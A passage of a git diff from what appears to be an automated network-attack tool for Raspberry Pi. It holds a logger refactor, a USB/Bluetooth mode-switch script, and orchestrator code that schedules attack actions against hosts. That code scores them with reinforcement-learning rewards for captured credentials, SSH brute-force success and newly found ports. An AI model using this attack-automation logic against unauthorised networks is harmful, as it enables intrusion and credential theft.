═══════════════════════════════════════════════════════════════════════════ +# END OF FILE +# ═══════════════════════════════════════════════════════════════════════════ diff --git a/logger.py b/logger.py index cd08758..7ecc135 100644 --- a/logger.py +++ b/logger.py @@ -1,87 +1,162 @@ -# logger.py +# logger.py import logging -from logging.handlers import RotatingFileHandler import os +import threading +import time +from logging.handlers import RotatingFileHandler SUCCESS_LEVEL_NUM = 25 logging.addLevelName(SUCCESS_LEVEL_NUM, "SUCCESS") + def success(self, message, *args, **kwargs): if self.isEnabledFor(SUCCESS_LEVEL_NUM): self._log(SUCCESS_LEVEL_NUM, message, args, **kwargs) + logging.Logger.success = success class VerticalFilter(logging.Filter): def filter(self, record): - return 'Vertical' not in record.getMessage() + return "Vertical" not in record.getMessage() class Logger: - LOGS_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'data', 'logs') + LOGS_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "data", "logs") LOG_FILE = os.path.join(LOGS_DIR, "Bjorn.log") + _HANDLERS_LOCK = threading.Lock() + _SHARED_CONSOLE_HANDLER = None + _SHARED_FILE_HANDLER = None + + @classmethod + def _ensure_shared_handlers(cls, enable_file_logging: bool): + """ + Create shared handlers once. + + Why: every action instantiates Logger(name=...), which used to create a new + RotatingFileHandler per logger name, leaking file descriptors (Bjorn.log opened N times). + """ + with cls._HANDLERS_LOCK: + if cls._SHARED_CONSOLE_HANDLER is None: + h = logging.StreamHandler() + # Do not filter by handler level; per-logger level controls output. + h.setLevel(logging.NOTSET) + h.setFormatter( + logging.Formatter( + "%(asctime)s - %(name)s - %(levelname)s - %(message)s", + datefmt="%Y-%m-%d %H:%M:%S", + ) + ) + h.addFilter(VerticalFilter()) + cls._SHARED_CONSOLE_HANDLER = h + + if enable_file_logging and cls._SHARED_FILE_HANDLER is None: + os.makedirs(cls.LOGS_DIR, exist_ok=True) + h = RotatingFileHandler( + cls.LOG_FILE, + maxBytes=5 * 1024 * 1024, + backupCount=2, + ) + h.setLevel(logging.NOTSET) + h.setFormatter( + logging.Formatter( + "%(asctime)s - %(name)s - %(levelname)s - %(message)s", + datefmt="%Y-%m-%d %H:%M:%S", + ) + ) + h.addFilter(VerticalFilter()) + cls._SHARED_FILE_HANDLER = h + + handlers = [cls._SHARED_CONSOLE_HANDLER] + if enable_file_logging and cls._SHARED_FILE_HANDLER is not None: + handlers.append(cls._SHARED_FILE_HANDLER) + return handlers + + # Max entries before automatic purge of stale throttle keys + _THROTTLE_MAX_KEYS = 200 + _THROTTLE_PURGE_AGE = 600.0 # Remove keys older than 10 minutes + def __init__(self, name="Logger", level=logging.DEBUG, enable_file_logging=True): self.logger = logging.getLogger(name) self.logger.setLevel(level) - self.logger.propagate = False # ✅ Évite les logs en double + self.logger.propagate = False self.enable_file_logging = enable_file_logging + self._throttle_lock = threading.Lock() + self._throttle_state = {} + self._throttle_last_purge = 0.0 - # Évite d'ajouter plusieurs fois les mêmes handlers - if not self.logger.handlers: - console_handler = logging.StreamHandler() - console_handler.setLevel(level) - console_handler.setFormatter(logging.Formatter( - '%(asctime)s - %(name)s - %(levelname)s - %(message)s', - datefmt='%Y-%m-%d %H:%M:%S' - )) - console_handler.addFilter(VerticalFilter()) - self.logger.addHandler(console_handler) - - if self.enable_file_logging: - os.makedirs(self.LOGS_DIR, exist_ok=True) - file_handler = RotatingFileHandler(self.LOG_FILE, maxBytes=5*1024*1024, backupCount=2) - file_handler.setLevel(level) - file_handler.setFormatter(logging.Formatter( - '%(asctime)s - %(name)s - %(levelname)s - %(message)s', - datefmt='%Y-%m-%d %H:%M:%S' - )) - file_handler.addFilter(VerticalFilter()) - self.logger.addHandler(file_handler) + # Attach shared handlers (singleton) to avoid leaking file descriptors. + for h in self._ensure_shared_handlers(self.enable_file_logging): + if h not in self.logger.handlers: + self.logger.addHandler(h) def set_level(self, level): self.logger.setLevel(level) for handler in self.logger.handlers: handler.setLevel(level) - def debug(self, msg): self.logger.debug(msg) - def info(self, msg): self.logger.info(msg) - def warning(self, msg): self.logger.warning(msg) - def error(self, msg): self.logger.error(msg) - def critical(self, msg): self.logger.critical(msg) - def success(self, msg): self.logger.success(msg) - def disable_logging(self): logging.disable(logging.CRITICAL) + def debug(self, msg, *args, **kwargs): + self.logger.debug(msg, *args, **kwargs) + + def info(self, msg, *args, **kwargs): + self.logger.info(msg, *args, **kwargs) + + def warning(self, msg, *args, **kwargs): + self.logger.warning(msg, *args, **kwargs) + + def error(self, msg, *args, **kwargs): + self.logger.error(msg, *args, **kwargs) + + def critical(self, msg, *args, **kwargs): + self.logger.critical(msg, *args, **kwargs) + + def success(self, msg, *args, **kwargs): + self.logger.success(msg, *args, **kwargs) + + def info_throttled(self, msg, key=None, interval_s=60.0): + self._log_throttled(logging.INFO, msg, key=key, interval_s=interval_s) + + def warning_throttled(self, msg, key=None, interval_s=60.0): + self._log_throttled(logging.WARNING, msg, key=key, interval_s=interval_s) + + def error_throttled(self, msg, key=None, interval_s=60.0): + self._log_throttled(logging.ERROR, msg, key=key, interval_s=interval_s) + + def _log_throttled(self, level, msg, key=None, interval_s=60.0): + throttle_key = key or f"{level}:{msg}" + now = time.monotonic() + with self._throttle_lock: + last = self._throttle_state.get(throttle_key, 0.0) + if (now - last) < max(0.0, float(interval_s)): + return + self._throttle_state[throttle_key] = now + # Periodic purge of stale keys to prevent unbounded growth + if len(self._throttle_state) > self._THROTTLE_MAX_KEYS and (now - self._throttle_last_purge) > 60.0: + self._throttle_last_purge = now + stale = [k for k, v in self._throttle_state.items() if (now - v) > self._THROTTLE_PURGE_AGE] + for k in stale: + del self._throttle_state[k] + self.logger.log(level, msg) + + def disable_logging(self): + logging.disable(logging.CRITICAL) + -# Example usage if __name__ == "__main__": - # Change enable_file_logging to False to disable file logging log = Logger(name="MyLogger", level=logging.DEBUG, enable_file_logging=False) - log.debug("This is a debug message") log.info("This is an info message") log.warning("This is a warning message") log.error("This is an error message") log.critical("This is a critical message") log.success("This is a success message") - - # Change log level + log.set_level(logging.WARNING) - log.debug("This debug message should not appear") log.info("This info message should not appear") log.warning("This warning message should appear") - - # Disable logging + log.disable_logging() log.error("This error message should not appear") diff --git a/mode-switcher.sh b/mode-switcher.sh new file mode 100644 index 0000000..cdbfd49 --- /dev/null +++ b/mode-switcher.sh @@ -0,0 +1,302 @@ +#!/bin/bash + +# Colors for menu +RED='\033[0;31m' +GREEN='\033[0;32m' +BLUE='\033[0;34m' +NC='\033[0m' # No Color + +# Function to show help +show_help() { + echo "Usage: $0 [OPTION]" + echo "Manage USB Gadget and Bluetooth modes on Raspberry Pi" + echo + echo "Options:" + echo " -h, --help Show this help message" + echo " -bluetooth Enable Bluetooth mode" + echo " -usb Enable USB Gadget mode" + echo " -status Show current status" + echo + echo "Without options, the script runs in interactive menu mode" + exit 0 +} + +# Add notice about reboot after USB functions +notify_reboot() { + echo -e "${BLUE}Important:${NC} A reboot is required for the USB interface to appear on the host system (Windows/Mac/Linux)" + echo -e "${BLUE}Please run:${NC} sudo reboot" +} + +# Function to enable USB Gadget mode +enable_usb() { + echo -e "${BLUE}Enabling USB Gadget mode...${NC}" + + # Stop bluetooth and related services + echo "Stopping Bluetooth services..." + sudo systemctl stop auto_bt_connect + sudo systemctl disable auto_bt_connect + sudo systemctl stop bluetooth + sudo systemctl disable bluetooth + sleep 2 + + # Kill any existing processes that might interfere + echo "Cleaning up processes..." + sudo killall -9 dnsmasq 2>/dev/null || true + + # Stop all related services + echo "Stopping all related services..." + sudo systemctl stop usb-gadget + sudo systemctl stop dnsmasq + sudo systemctl stop systemd-networkd + + # Remove any existing network configuration + echo "Cleaning up network configuration..." + sudo ip link set usb0 down 2>/dev/null || true + sudo ip addr flush dev usb0 2>/dev/null || true + + # Aggressive cleanup of USB modules + echo "Unloading USB modules..." + modules="g_ether usb_f_ecm usb_f_rndis u_ether libcomposite dwc2" + for module in $modules; do + sudo rmmod $module 2>/dev/null || true + done + sleep 2 + + # Clean up USB gadget configuration + if [ -d "/sys/kernel/config/usb_gadget/g1" ]; then + echo "Removing existing gadget configuration..." + cd /sys/kernel/config/usb_gadget/g1 + echo "" > UDC 2>/dev/null || true + rm -f configs/c.1/ecm.usb0 2>/dev/null || true + cd .. + rmdir g1 2>/dev/null || true + fi + + # Reset USB controller + echo "Resetting USB controller..." + if [ -e "/sys/bus/platform/drivers/dwc2" ]; then + if [ -e "/sys/bus/platform/drivers/dwc2/20980000.usb" ]; then + echo "20980000.usb" | sudo tee /sys/bus/platform/drivers/dwc2/unbind 2>/dev/null || true + sleep 2 + fi + echo "20980000.usb" | sudo tee /sys/bus/platform/drivers/dwc2/bind 2>/dev/null || true + sleep 2 + fi + + # Load modules in correct order with verification + echo "Loading USB modules..." + sudo modprobe dwc2 + sleep 2 + if ! lsmod | grep -q "^dwc2"; then + echo -e "${RED}Error: Could not load dwc2${NC}" + return 1 + fi + + sudo modprobe libcomposite + sleep 2 + if ! lsmod | grep -q "^libcomposite"; then + echo -e "${RED}Error: Could not load libcomposite${NC}" + return 1 + fi + + # Start services in correct order + echo "Starting network services..." + sudo systemctl start systemd-networkd + sleep 2 + + echo "Starting USB gadget service..." + sudo systemctl enable usb-gadget + sudo systemctl restart usb-gadget + sleep 5 + # Verify USB gadget configuration + echo "Verifying USB gadget configuration..." + if ! ip link show usb0 >/dev/null 2>&1; then + echo -e "${RED}USB Gadget interface (usb0) not found. Checking logs...${NC}" + sudo journalctl -xe --no-pager -n 50 -u usb-gadget + return 1 + fi + + if ! ip link show usb0 | grep -q "UP"; then + echo -e "${RED}USB Gadget interface exists but is not UP. Attempting to bring it up...${NC}" + sudo ip link set usb0 up + sleep 2 + if ! ip link show usb0 | grep -q "UP"; then + echo -e "${RED}Failed to bring up USB interface${NC}" + return 1 + fi + fi + + echo -e "${GREEN}USB Gadget interface is up and running${NC}" + + # Wait for interface with timeout + echo "Waiting for USB interface..." + for i in {1..15}; do + if ip link show usb0 > /dev/null 2>&1; then + echo "USB interface detected" + sudo ip link set usb0 up + sudo ip addr add 172.20.2.1/24 dev usb0 2>/dev/null || true + break + fi + echo "Attempt $i/15..." + sleep 1 + done + + if ip link show usb0 > /dev/null 2>&1; then + echo "Starting DHCP server..." + sudo systemctl restart dnsmasq + echo -e "${GREEN}USB Gadget mode successfully enabled${NC}" + ip a | grep usb0 + else + echo -e "${RED}Failed to create USB interface${NC}" + return 1 + fi +} + +# Function to enable Bluetooth mode +enable_bluetooth() { + echo -e "${BLUE}Enabling Bluetooth mode...${NC}" + + # Stop USB gadget + echo "Stopping USB gadget..." + sudo systemctl stop usb-gadget + sudo systemctl disable usb-gadget + + # Aggressive cleanup of modules + echo "Cleaning up modules..." + modules="g_ether usb_f_ecm usb_f_rndis u_ether libcomposite dwc2" + for module in $modules; do + sudo rmmod $module 2>/dev/null || true + done + + sleep 2 + + # Force USB reconnect if possible + if [ -e "/sys/bus/platform/drivers/dwc2" ]; then + echo "Resetting USB controller..." + echo "20980000.usb" | sudo tee /sys/bus/platform/drivers/dwc2/unbind 2>/dev/null || true + sleep 2 + echo "20980000.usb" | sudo tee /sys/bus/platform/drivers/dwc2/bind 2>/dev/null || true + sleep 2 + fi + + # Enable and start Bluetooth + echo "Starting Bluetooth..." + sudo systemctl enable bluetooth + sudo systemctl start bluetooth + + # Wait for Bluetooth to initialize + sleep 3 + + # Start auto_bt_connect service last + echo "Starting auto_bt_connect service..." + sudo systemctl enable auto_bt_connect + sudo systemctl start auto_bt_connect + + # Status check + if systemctl is-active --quiet bluetooth; then + echo -e "${GREEN}Bluetooth mode successfully enabled${NC}" + echo "Bluetooth status:" + sudo hciconfig + if systemctl is-active --quiet auto_bt_connect; then + echo -e "${GREEN}Auto BT Connect service is running${NC}" + else + echo -e "${RED}Warning: auto_bt_connect service failed to start${NC}" + fi + else + echo -e "${RED}Error while enabling Bluetooth mode${NC}" + echo "Service logs:" + sudo systemctl status bluetooth + return 1 + fi +} + +# Function to show current status +show_status() { + echo -e "${BLUE}Current services status:${NC}" + echo "----------------------------------------" + echo -n "USB Gadget: " + if ip link show usb0 >/dev/null 2>&1 && ip link show usb0 | grep -q "UP"; then + echo -e "${GREEN}ACTIVE${NC}" + else + echo -e "${RED}INACTIVE${NC}" + fi + + echo -n "Bluetooth: " + if systemctl is-active --quiet bluetooth; then + echo -e "${GREEN}ACTIVE${NC}" + else + echo -e "${RED}INACTIVE${NC}" + fi + + echo -n "Auto BT Connect: " + if systemctl is-active --quiet auto_bt_connect; then + echo -e "${GREEN}ACTIVE${NC}" + else + echo -e "${RED}INACTIVE${NC}" + fi + echo "----------------------------------------" +} + +# Parse command line arguments +if [ $# -gt 0 ]; then + case "$1" in + -h|--help) + show_help + ;; + -bluetooth) + enable_bluetooth + exit 0 + ;; + -usb) + enable_usb + notify_reboot + exit 0 + ;; + -status) + show_status + exit 0 + ;; + *) + echo -e "${RED}Unknown option: $1${NC}" + show_help + ;; + esac +fi + +# Main menu (only shown if no arguments provided) +while true; do + clear + echo -e "${BLUE}=== USB/Bluetooth Mode Manager ===${NC}" + echo "1. Enable USB Gadget mode" + echo "2. Enable Bluetooth mode" + echo "3. Show status" + echo "4. Exit" + echo + show_status + echo + read -p "Choose an option (1-4): " choice + + case $choice in + 1) + enable_usb + notify_reboot + read -p "Press Enter to continue..." + ;; + 2) + enable_bluetooth + read -p "Press Enter to continue..." + ;; + 3) + show_status + read -p "Press Enter to continue..." + ;; + 4) + echo "Goodbye!" + exit 0 + ;; + *) + echo -e "${RED}Invalid option${NC}" + read -p "Press Enter to continue..." + ;; + esac +done \ No newline at end of file diff --git a/orchestrator.py b/orchestrator.py index 1db19da..638163d 100644 --- a/orchestrator.py +++ b/orchestrator.py @@ -12,6 +12,9 @@ from typing import Any, Dict, List, Optional from init_shared import shared_data from logger import Logger from action_scheduler import ActionScheduler +from ai_engine import get_or_create_ai_engine, invalidate_ai_engine +from feature_logger import FeatureLogger +from data_consolidator import DataConsolidator logger = Logger(name="orchestrator.py", level=logging.DEBUG) @@ -25,10 +28,117 @@ class Orchestrator: self.network_scanner = None self.scheduler = None self.scheduler_thread = None + self._loop_error_backoff = 1.0 + + # ┌─────────────────────────────────────────────────────────┐ + # │ AI / Feature-logging Components │ + # └─────────────────────────────────────────────────────────┘ + # feature_logger runs in AUTO and AI mode to collect training data + # from ALL automated executions. + # ai_engine + data_consolidator run only in AI mode. + self.ai_engine = None + self.data_consolidator = None + self.ai_enabled = bool(self.shared_data.operation_mode == "AI") + self._ai_server_failure_streak = 0 + + # FeatureLogger: active as long as the orchestrator runs (AUTO or AI) + self.feature_logger = None + if self.shared_data.operation_mode in ("AUTO", "AI"): + try: + self.feature_logger = FeatureLogger(self.shared_data) + logger.info("FeatureLogger initialized (data collection active)") + except Exception as e: + logger.info_throttled( + f"FeatureLogger unavailable; execution data will not be logged: {e}", + key="orch_feature_logger_init_failed", + interval_s=300.0, + ) + self.feature_logger = None + + if self.ai_enabled: + try: + self.ai_engine = get_or_create_ai_engine(self.shared_data) + self.data_consolidator = DataConsolidator(self.shared_data) + logger.info("AI engine + DataConsolidator initialized (AI mode)") + except Exception as e: + logger.info_throttled( + f"AI mode active but AI components unavailable; continuing heuristic-only: {e}", + key="orch_ai_init_failed", + interval_s=300.0, + ) + self.ai_engine = None + self.data_consolidator = None + self.ai_enabled = False # Load all available actions self.load_actions() logger.info(f"Actions loaded: {list(self.actions.keys())}") + + def _is_enabled_value(self, value: Any) -> bool: + """Robust parser for b_enabled values coming from DB.""" + if value is None: + return True + if isinstance(value, bool): + return value + if isinstance(value, (int, float)): + return int(value) == 1 + s = str(value).strip().lower() + if s in {"1", "true", "yes", "on"}: + return True + if s in {"0", "false", "no", "off"}: + return False + try: + return int(float(s)) == 1 + except Exception: + return True + + def _is_action_eligible_for_ai_learning(self, action_name: str) -> bool: + """Exclude control-plane actions from AI training/reward.""" + return str(action_name) not in {"NetworkScanner"} + + def _update_ai_server_health(self, contact_events: List[bool]) -> None: + """ + Update consecutive AI server failure counter and fallback to AUTO when needed. + `contact_events` contains one bool per attempted contact in this cycle. + """ + if not contact_events: + return + + contacted_ok = any(contact_events) + if contacted_ok: + if self._ai_server_failure_streak > 0: + logger.info("AI server contact recovered; reset failure streak") + self._ai_server_failure_streak = 0 + return + + self._ai_server_failure_streak += 1 + max_failures = max( + 1, + int(getattr(self.shared_data, "ai_server_max_failures_before_auto", 3)), + ) + model_loaded = bool(getattr(self.ai_engine, "model_loaded", False)) + + if self.shared_data.operation_mode == "AI" and (not model_loaded): + remaining_cycles = max(0, max_failures - self._ai_server_failure_streak) + if remaining_cycles > 0: + logger.info_throttled( + f"AI server unreachable ({self._ai_server_failure_streak}/{max_failures}) and no local model loaded; " + f"AUTO fallback in {remaining_cycles} cycle(s) if server remains offline", + key="orch_ai_unreachable_no_model_pre_fallback", + interval_s=60.0, + ) + + if ( + self.shared_data.operation_mode == "AI" + and self._ai_server_failure_streak >= max_failures + and (not model_loaded) + ): + logger.warning( + f"AI server unreachable for {self._ai_server_failure_streak} consecutive cycles and no local AI model is loaded; " + "switching operation mode to AUTO (heuristics-only)" + ) + self.shared_data.operation_mode = "AUTO" + self._disable_ai_components() def load_actions(self): """Load all actions from database""" @@ -64,9 +174,82 @@ class Orchestrator: except Exception as e: logger.error(f"Failed to load action {b_class}: {e}") + # ----------------------------------------------------------------- AI mode + + def _ensure_feature_logger(self) -> None: + """Init FeatureLogger if not yet running (called when entering AUTO or AI mode).""" + if self.feature_logger is not None: + return + try: + self.feature_logger = FeatureLogger(self.shared_data) + logger.info("FeatureLogger enabled") + except Exception as e: + logger.info_throttled( + f"FeatureLogger unavailable: {e}", + key="orch_feature_logger_enable_failed", + interval_s=300.0, + ) + + def _enable_ai_components(self) -> None: + """Lazy-init AI-specific helpers when switching to AI mode at runtime.""" + self._ensure_feature_logger() + + if self.ai_engine and self.data_consolidator: + self.ai_enabled = True + return + + try: + self.ai_engine = get_or_create_ai_engine(self.shared_data) + self.data_consolidator = DataConsolidator(self.shared_data) + self.ai_enabled = True + if self.ai_engine and not bool(getattr(self.ai_engine, "model_loaded", False)): + logger.warning( + "AI mode active but no local model loaded yet; " + "will fallback to AUTO if server stays unreachable" + ) + logger.info("AI engine + DataConsolidator enabled") + except Exception as e: + self.ai_engine = None + self.data_consolidator = None + self.ai_enabled = False + logger.info_throttled( + f"AI components not available; staying heuristic-only: {e}", + key="orch_ai_enable_failed", + interval_s=300.0, + ) + + def _disable_ai_components(self) -> None: + """Drop AI-specific helpers when leaving AI mode. + FeatureLogger is kept alive so AUTO mode still collects data.""" + self.ai_enabled = False + self.ai_engine = None + self.data_consolidator = None + # Release cached AI engine singleton so model weights can be freed in AUTO mode. + try: + invalidate_ai_engine(self.shared_data) + except Exception: + pass + + def _sync_ai_components(self) -> None: + """Keep runtime AI helpers aligned with shared_data.operation_mode.""" + mode = self.shared_data.operation_mode + if mode == "AI": + if not self.ai_enabled: + self._enable_ai_components() + else: + if self.ai_enabled: + self._disable_ai_components() + # Ensure feature_logger is alive in AUTO mode too + if mode == "AUTO": + self._ensure_feature_logger() + def start_scheduler(self): """Start the scheduler in background""" + if self.scheduler_thread and self.scheduler_thread.is_alive(): + logger.info("ActionScheduler thread already running") + return + logger.info("Starting ActionScheduler in background...") self.scheduler = ActionScheduler(self.shared_data) self.scheduler_thread = threading.Thread( @@ -87,24 +270,227 @@ class Orchestrator: ) return action + def _build_host_state(self, mac_address: str) -> Dict: + """ + Build RL state dict from host data in database. + + Args: + mac_address: Target MAC address + + Returns: + Dict with keys: mac, ports, hostname + """ + try: + # Get host from database + host = self.shared_data.db.get_host_by_mac(mac_address) + + if not host: + logger.warning(f"Host not found for MAC: {mac_address}") + return {'mac': mac_address, 'ports': [], 'hostname': ''} + + # Parse ports + ports_str = host.get('ports', '') + ports = [] + if ports_str: + for p in ports_str.split(';'): + p = p.strip() + if p.isdigit(): + ports.append(int(p)) + + # Get first hostname + hostnames_str = host.get('hostnames', '') + hostname = hostnames_str.split(';')[0] if hostnames_str else '' + + return { + 'mac': mac_address, + 'ports': ports, + 'hostname': hostname + } + + except Exception as e: + logger.error(f"Error building host state: {e}") + return {'mac': mac_address, 'ports': [], 'hostname': ''} + + def _calculate_reward( + self, + action_name: str, + success: bool, + duration: float, + mac: str, + state_before: Dict, + state_after: Dict + ) -> float: + """ + Calculate reward for RL update. + + Reward structure: + - Base: +50 for success, -5 for failure + - Credentials found: +100 + - New services: +20 per service + - Time bonus: +20 if <30s, -10 if >120s + - New ports discovered: +15 per port + + Args: + action_name: Name of action executed + success: Did action succeed? + duration: Execution time in seconds + mac: Target MAC address + state_before: State dict before action + state_after: State dict after action + + Returns: + Reward value (float) + """ + if not self._is_action_eligible_for_ai_learning(action_name): + return 0.0 + + # Base reward + reward = 50.0 if success else -5.0 + + if not success: + # Penalize time waste on failure + reward -= (duration * 0.1) + return reward + + # ───────────────────────────────────────────────────────── + # Check for credentials found (high value!) + # ───────────────────────────────────────────────────────── + try: + recent_creds = self.shared_data.db.query(""" + SELECT COUNT(*) as cnt FROM creds + WHERE mac_address=? + AND first_seen > datetime('now', '-1 minute') + """, (mac,)) + + if recent_creds and recent_creds[0]['cnt'] > 0: + creds_count = recent_creds[0]['cnt'] + reward += 100 * creds_count # 100 per credential! + logger.info(f"RL: +{100*creds_count} reward for {creds_count} credentials") + except Exception as e: + logger.error(f"Error checking credentials: {e}") + + # ───────────────────────────────────────────────────────── + # Check for new services discovered + # ───────────────────────────────────────────────────────── + try: + # Compare ports before/after + ports_before = set(state_before.get('ports', [])) + ports_after = set(state_after.get('ports', [])) + new_ports = ports_after - ports_before + + if new_ports: + reward += 15 * len(new_ports) + logger.info(f"RL: +{15*len(new_ports)} reward for {len(new_ports)} new ports") + except Exception as e: + logger.error(f"Error checking new ports: {e}") + + # ───────────────────────────────────────────────────────── + # Time efficiency bonus/penalty + # ───────────────────────────────────────────────────────── + if duration < 30: + reward += 20 # Fast execution bonus + elif duration > 120: + reward -= 10 # Slow execution penalty + + # ───────────────────────────────────────────────────────── + # Action-specific bonuses + # ───────────────────────────────────────────────────────── + if action_name == "SSHBruteforce" and success: + # Extra bonus for SSH success (difficult action) + reward += 30 + + logger.debug(f"RL Reward calculated: {reward:.1f} for {action_name}") + return reward + def execute_queued_action(self, queued_action: Dict[str, Any]) -> bool: - """Execute a single queued action""" + """Execute a single queued action with RL integration""" queue_id = queued_action['id'] action_name = queued_action['action_name'] mac = queued_action['mac_address'] ip = queued_action['ip'] port = queued_action['port'] - logger.info(f"Executing: {action_name} for {ip}:{port}") + # Parse metadata once — used throughout this function + metadata = json.loads(queued_action.get('metadata', '{}')) + source = str(metadata.get('decision_method', 'unknown')) + source_label = f"[{source.upper()}]" if source != 'unknown' else "" + + decision_origin = str(metadata.get('decision_origin', 'unknown')) + ai_confidence = metadata.get('ai_confidence') + ai_threshold = metadata.get('ai_threshold', getattr(self.shared_data, "ai_confirm_threshold", 0.3)) + ai_reason = str(metadata.get('ai_reason', 'n/a')) + ai_method = metadata.get('ai_method') + if not ai_method: + ai_method = (metadata.get('ai_debug') or {}).get('method') + ai_method = str(ai_method or 'n/a') + ai_model_loaded = bool(metadata.get('ai_model_loaded', bool(getattr(self.ai_engine, "model_loaded", False)) if self.ai_engine else False)) + decision_scope = str(metadata.get('decision_scope', 'unknown')) + + exec_payload = { + "action": action_name, + "target": ip, + "port": port, + "decision_method": source, + "decision_origin": decision_origin, + "decision_scope": decision_scope, + "ai_method": ai_method, + "ai_confidence": ai_confidence if isinstance(ai_confidence, (int, float)) else None, + "ai_threshold": ai_threshold if isinstance(ai_threshold, (int, float)) else None, + "ai_model_loaded": ai_model_loaded, + "ai_reason": ai_reason, + } + + logger.info(f"Executing {source_label}: {action_name} for {ip}:{port}") + logger.info(f"[DECISION_EXEC] {json.dumps(exec_payload)}") + + # Guard rail: stale queue rows can exist for disabled or not-loaded actions. + try: + action_row = self.shared_data.db.get_action_by_class(action_name) + if action_row and not self._is_enabled_value(action_row.get("b_enabled", 1)): + self.shared_data.db.update_queue_status( + queue_id, + 'cancelled', + f"Action {action_name} disabled (b_enabled=0)", + ) + logger.info(f"Skipping queued disabled action: {action_name}") + return False + except Exception as e: + logger.debug(f"Could not verify b_enabled for {action_name}: {e}") + + if action_name not in self.actions: + self.shared_data.db.update_queue_status( + queue_id, + 'cancelled', + f"Action {action_name} not loaded", + ) + logger.warning(f"Skipping queued action not loaded: {action_name}") + return False + + # ┌─────────────────────────────────────────────────────────┐ + # │ STEP 1: Capture state BEFORE action (all modes) │ + # └─────────────────────────────────────────────────────────┘ + state_before = None + if self.feature_logger: + try: + state_before = self._build_host_state(mac) + logger.debug(f"State before captured for {mac}") + except Exception as e: + logger.info_throttled( + f"State capture skipped: {e}", + key="orch_state_before_failed", + interval_s=120.0, + ) # Update status to running self.shared_data.db.update_queue_status(queue_id, 'running') - + + # ┌─────────────────────────────────────────────────────────┐ + # │ EXECUTE ACTION (existing code) │ + # └─────────────────────────────────────────────────────────┘ + start_time = time.time() + success = False + try: - # Check if action is loaded - if action_name not in self.actions: - raise Exception(f"Action {action_name} not loaded") - action = self.actions[action_name] # Prepare row data for compatibility @@ -115,12 +501,49 @@ class Orchestrator: "Alive": 1 } + # Prepare status details + if ip and ip != "0.0.0.0": + port_str = str(port).strip() if port is not None else "" + has_port = bool(port_str) and port_str.lower() != "none" + target_display = f"{ip}:{port_str}" if has_port else ip + status_msg = f"{action_name} on {ip}" + details = f"Target: {target_display}" + self.shared_data.action_target_ip = target_display + else: + status_msg = f"{action_name} (Global)" + details = "Scanning network..." + self.shared_data.action_target_ip = "" + # Update shared status for display self.shared_data.bjorn_orch_status = action_name - self.shared_data.bjorn_status_text2 = ip + self.shared_data.bjorn_status_text2 = self.shared_data.action_target_ip or ip + + self.shared_data.update_status(status_msg, details) - # Check if global action - metadata = json.loads(queued_action.get('metadata', '{}')) + # --- AI Dashboard Metadata (AI mode only) --- + if ( + self.ai_enabled + and self.shared_data.operation_mode == "AI" + and self._is_action_eligible_for_ai_learning(action_name) + ): + decision_method = metadata.get('decision_method', 'heuristic') + self.shared_data.active_action = action_name + self.shared_data.last_decision_method = decision_method + self.shared_data.last_ai_decision = metadata.get('ai_debug', {}) + ai_exec_payload = { + "action": action_name, + "method": decision_method, + "origin": decision_origin, + "target": ip, + "ai_method": ai_method, + "ai_confidence": ai_confidence if isinstance(ai_confidence, (int, float)) else None, + "ai_threshold": ai_threshold if isinstance(ai_threshold, (int, float)) else None, + "ai_model_loaded": ai_model_loaded, + "reason": ai_reason, + } + logger.info(f"[AI_EXEC] {json.dumps(ai_exec_payload)}") + + # Check if global action (metadata already parsed above) if metadata.get('is_global') and hasattr(action, 'scan'): # Execute global scan action.scan() @@ -134,23 +557,92 @@ class Orchestrator: action_name ) + # Determine success + success = (result == 'success') + # Update queue status based on result - if result == 'success': + if success: self.shared_data.db.update_queue_status(queue_id, 'success') logger.success(f"Action {action_name} completed successfully for {ip}") else: self.shared_data.db.update_queue_status(queue_id, 'failed') logger.warning(f"Action {action_name} failed for {ip}") - return result == 'success' - except Exception as e: logger.error(f"Error executing action {action_name}: {e}") self.shared_data.db.update_queue_status(queue_id, 'failed', str(e)) - return False + success = False + finally: + if ( + self.ai_enabled + and self.shared_data.operation_mode == "AI" + and self._is_action_eligible_for_ai_learning(action_name) + ): + ai_done_payload = { + "action": action_name, + "success": bool(success), + "method": source, + "origin": decision_origin, + } + logger.info(f"[AI_DONE] {json.dumps(ai_done_payload)}") + self.shared_data.active_action = None + # Clear status text self.shared_data.bjorn_status_text2 = "" + self.shared_data.action_target_ip = "" + # Reset Status to Thinking/Idle + self.shared_data.update_status("Thinking", "Processing results...") + + duration = time.time() - start_time + + # ┌─────────────────────────────────────────────────────────┐ + # │ STEP 2: Log execution features (AUTO + AI modes) │ + # └─────────────────────────────────────────────────────────┘ + if self.feature_logger and state_before and self._is_action_eligible_for_ai_learning(action_name): + try: + reward = self._calculate_reward( + action_name=action_name, + success=success, + duration=duration, + mac=mac, + state_before=state_before, + state_after=self._build_host_state(mac), + ) + + self.feature_logger.log_action_execution( + mac_address=mac, + ip_address=ip, + action_name=action_name, + success=success, + duration=duration, + reward=reward, + raw_event={ + 'port': port, + 'action': action_name, + 'queue_id': queue_id, + # metadata already parsed — no second json.loads + 'metadata': metadata, + # Tag decision source so the training pipeline can weight + # human choices (MANUAL would be logged if orchestrator + # ever ran in that mode) vs automated ones. + 'decision_source': self.shared_data.operation_mode, + 'human_override': False, + }, + ) + + logger.debug(f"Features logged for {action_name} (mode={self.shared_data.operation_mode})") + + except Exception as e: + logger.info_throttled( + f"Feature logging skipped: {e}", + key="orch_feature_log_failed", + interval_s=120.0, + ) + elif self.feature_logger and state_before: + logger.debug(f"Feature logging disabled for {action_name} (excluded from AI learning)") + + return success def run(self): """Main loop: start scheduler and consume queue""" @@ -164,9 +656,13 @@ class Orchestrator: # Main execution loop idle_time = 0 consecutive_idle_logs = 0 + self._last_background_task = 0 while not self.shared_data.orchestrator_should_exit: try: + # Allow live mode switching from the UI without restarting the process. + self._sync_ai_components() + # Get next action from queue next_action = self.get_next_action() @@ -174,14 +670,17 @@ class Orchestrator: # Reset idle counters idle_time = 0 consecutive_idle_logs = 0 + self._loop_error_backoff = 1.0 # Execute the action self.execute_queued_action(next_action) else: # IDLE mode idle_time += 1 + self.shared_data.bjorn_orch_status = "IDLE" self.shared_data.bjorn_status_text2 = "" + self.shared_data.action_target_ip = "" # Log periodically (less spam) if idle_time % 30 == 0: # Every 30 seconds @@ -192,18 +691,96 @@ class Orchestrator: # Event-driven wait (max 5s to check for exit signals) self.shared_data.queue_event.wait(timeout=5) self.shared_data.queue_event.clear() - + + # Periodically process background tasks 